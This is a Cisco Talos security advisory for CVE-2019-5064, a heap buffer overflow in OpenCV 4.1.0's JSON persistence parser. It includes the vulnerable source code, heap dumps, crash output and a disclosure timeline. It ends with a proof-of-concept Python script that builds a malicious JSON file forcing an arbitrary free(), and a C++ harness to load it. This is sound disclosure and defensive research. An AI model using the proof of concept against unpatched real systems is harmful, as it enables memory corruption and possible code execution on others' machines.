Headline
CVE-2019-5064: TALOS-2019-0853 || Cisco Talos Intelligence Group
An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, before version 4.2.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.
Summary
An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.
Tested Versions
OpenCV 4.1.0
Product URLs
[https://opencv.org/] (https://opencv.org/)
[https://github.com/opencv/opencv] (https://github.com/opencv/opencv)
CVSSv3 Score
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Details
OpenCV was originally developed in 1999 by Intel Research and is currently maintained by the non-profit organization OpenCV.org. OpenCV is used in a myriad of ways including facial recognition, robotics, motion tracking and various machine learning applications.
This particular vulnerability is present in the “persistence” mode of OpenCV which allows a developer to write and retrieve OpenCV data structures to/from a file on disk. The file type can be XML, YAML or JSON.
During parsing of a JSON file, when a null byte is encountered, the entire value up to that point is copied into a buffer. However, there isn’t a check to determine whether the JSON value will overflow the destination buffer.
In persistence_json.cpp
, we can see the definition of the buffer that will be overflowed which resides within a FileStorageParser class on the heap.
847 char buf[CV_FS_MAX_LEN+1024];
Where persistence.hpp
defines CV_FS_MAX_LEN
as:
44 #define CV_FS_MAX_LEN 4096
Therefore, our buffer size is 0x1400 (5120) bytes in length. The overflow occurs during the following parsing routine within persistence_json.cpp
:
565 switch ( *ptr )
566 {
567 case '\\':
568 {
569 sz = (int)(ptr - beg);
570 if( sz > 0 )
571 {
572 memcpy(buf + i, beg, sz);
573 i += sz;
574 }
575 ptr++;
576 switch ( *ptr )
577 {
578 case '\\':
579 case '\"':
580 case '\'': { buf[i++] = *ptr; break; }
581 case 'n' : { buf[i++] = '\n'; break; }
582 case 'r' : { buf[i++] = '\r'; break; }
583 case 't' : { buf[i++] = '\t'; break; }
584 case 'b' : { buf[i++] = '\b'; break; }
585 case 'f' : { buf[i++] = '\f'; break; }
586 case 'u' : { CV_PARSE_ERROR_CPP( "'\\uXXXX' currently not supported" ); break; }
587 default : { CV_PARSE_ERROR_CPP( "Invalid escape character" ); }
588 break;
589 }
590 ptr++;
591 beg = ptr;
592 break;
593 }
594 case '\0':
595 {
596 sz = (int)(ptr - beg);
597 if( sz > 0 )
598 {
599 memcpy(buf + i, beg, sz); [0]
600 i += sz;
601 }
602 ptr = fs->gets();
603 if ( !ptr || !*ptr )
604 CV_PARSE_ERROR_CPP( "'\"' - right-quote of string is missing" );
605
606 beg = ptr;
607 break;
608 }
The overflow occurs at line 599. It happens because the buffer is a fixed size, but the size for the memcpy is calculated as the size of the entire JSON value field (line 596) without checking if it extends beyond the target buffer.
Crash Information
We can see the vulnerable memcpy operation occur here:
0x417999 call memcpy@plt <0x406470>
dest: 0x91c380 ◂— 0x42 /* 'B' */
src: 0x911dee ◂— 0x4242424242424242 ('BBBBBBBB')
n: 0x1460
If the buffer size is only 5120 (0x1400) bytes and the memcpy size (the entire value of one of the json pairs) is 0x1460 bytes, it will cause an overflow into subsequent heap objects, leading to potential code execution.
The destination buffer is located within the ‘FileStorageParser` object itself:
type = class cv::JSONParser : public cv::FileStorageParser {
public:
cv::FileStorage_API *fs;
char buf[5120];
JSONParser(cv::FileStorage_API *);
virtual ~JSONParser(void);
char * skipSpaces(char *);
char * parseKey(char *, cv::FileNode &, cv::FileNode &);
virtual bool getBase64Row(char *, int, char *&, char *&);
char * parseValue(char *, cv::FileNode &);
char * parseSeq(char *, cv::FileNode &);
char * parseMap(char *, cv::FileNode &);
virtual bool parse(char *);
} *
In this particular case, the heap object for this instance is located at 0x91c350. The buffer is located at 0x91c380.
Heap chunk: 0x91c358 (malloc address)
Heap chunk header: 0x91c350
Size: 0x1430 (5168)
Size+Hdr: 0x1440 (5184)
Status: in USE
Prev size field: 0x0 (0)
Raw Size: 0x1431 (5169)
Flags: PREV_INUSE
000000000091c340: 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .@..............
000000000091c350: 00 00 00 00 00 00 00 00 31 14 00 00 00 00 00 00 ........1.......
000000000091c360: c8 3d 8e 00 00 00 00 00 01 00 00 00 01 00 00 00 .=..............
000000000091c370: 18 3e 8e 00 00 00 00 00 60 04 91 00 00 00 00 00 .>......`.......
....
000000000091d770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000000091d780: 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
The next object in the heap is located at 0x91d780 which is exactly 0x1400 (5120) bytes away:
Heap chunk: 0x91d788 (malloc address)
Heap chunk header: 0x91d780
Size: 0x20 (32)
Size+Hdr: 0x30 (48)
Status: in USE
Prev size field: 0x0 (0)
Raw Size: 0x21 (33)
Flags: PREV_INUSE
000000000091d770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000000091d780: 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
....
000000000091d790: 00 00 00 00 00 00 00 00 10 e0 8f 00 00 00 00 00 ................
000000000091d7a0: 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
Here are the objects after the memcpy() operation:
Heap chunk: 0x91c358 (malloc address)
Heap chunk header: 0x91c350
Size: 0x1430 (5168)
Size+Hdr: 0x1440 (5184)
Status: is FREE
FD: 0x8e3dc8
BK: 0x100000001
Prev size field: 0x0 (0)
Raw Size: 0x1431 (5169)
Flags: PREV_INUSE
000000000091c340: 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .@..............
000000000091c350: 00 00 00 00 00 00 00 00 31 14 00 00 00 00 00 00 ........1.......
000000000091c360: c8 3d 8e 00 00 00 00 00 01 00 00 00 01 00 00 00 .=..............
000000000091c370: 18 3e 8e 00 00 00 00 00 60 04 91 00 00 00 00 00 .>......`.......
....
000000000091d770: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000000000091d780: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
The heap object at 0x91d780 has clearly been corrupted.
0x91d780: 0x4242424242424242 0x4242424242424242
0x91d790: 0x4242424242424242 0x4242424242424242
0x91d7a0: 0x4242424242424242 0x4242424242424242
0x91d7b0: 0x4242424242424242 0x4242424242424242
0x91d7c0: 0x4242424242424242 0x4242424242424242
0x91d7d0: 0x4242424242424242 0x4141414141414141
This specific variant of the attack will trigger an arbitrary free() if we continue to let it run.
Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x4141414141414141) at malloc.c:3109
3109 p = mem2chunk (mem);
Exploit Proof of Concept
Generate a malicious JSON file:
#!/usr/bin/env python
from struct import pack
# Create 2 objects -- overflow using the second object's value
poc = b'{"A":"B","X":"'
# Overflow bytes
poc += b'B' * 0x1458
# Address that will be free'd
poc += pack('Q', 0x4141414141414141)
with open("poc.json", "wb") as f:
f.write(poc)
f.close()
Compile the harness to load the file:
#include "opencv2/core.hpp"
/*
* harness.cpp
* g++ -I/usr/include/opencv4/ harness.cpp -o harness -l opencv_core
*/
int main(int argc, char** argv) {
cv::FileStorage fs2(argv[1], cv::FileStorage::READ);
fs2.release();
return 0;
}
Execution: $ ./harness poc.json [1] 19146 segmentation fault (core dumped) ./harness poc.json
Timeline
2019-07-22 - Initial contact
2019-07-30 - Plain text report issued
2019-10-02 - 60+ day follow up
2019-10-21 - 90 day follow up
2019-11-13 - Vendor confirmed fix planned for December 2019 release
2019-12-12 - Talos granted extension to public disclosure deadline
2019-12-19 - Vendor patched
2020-01-02 - Public Release
Discovered by Dave McDaniel of Cisco Talos.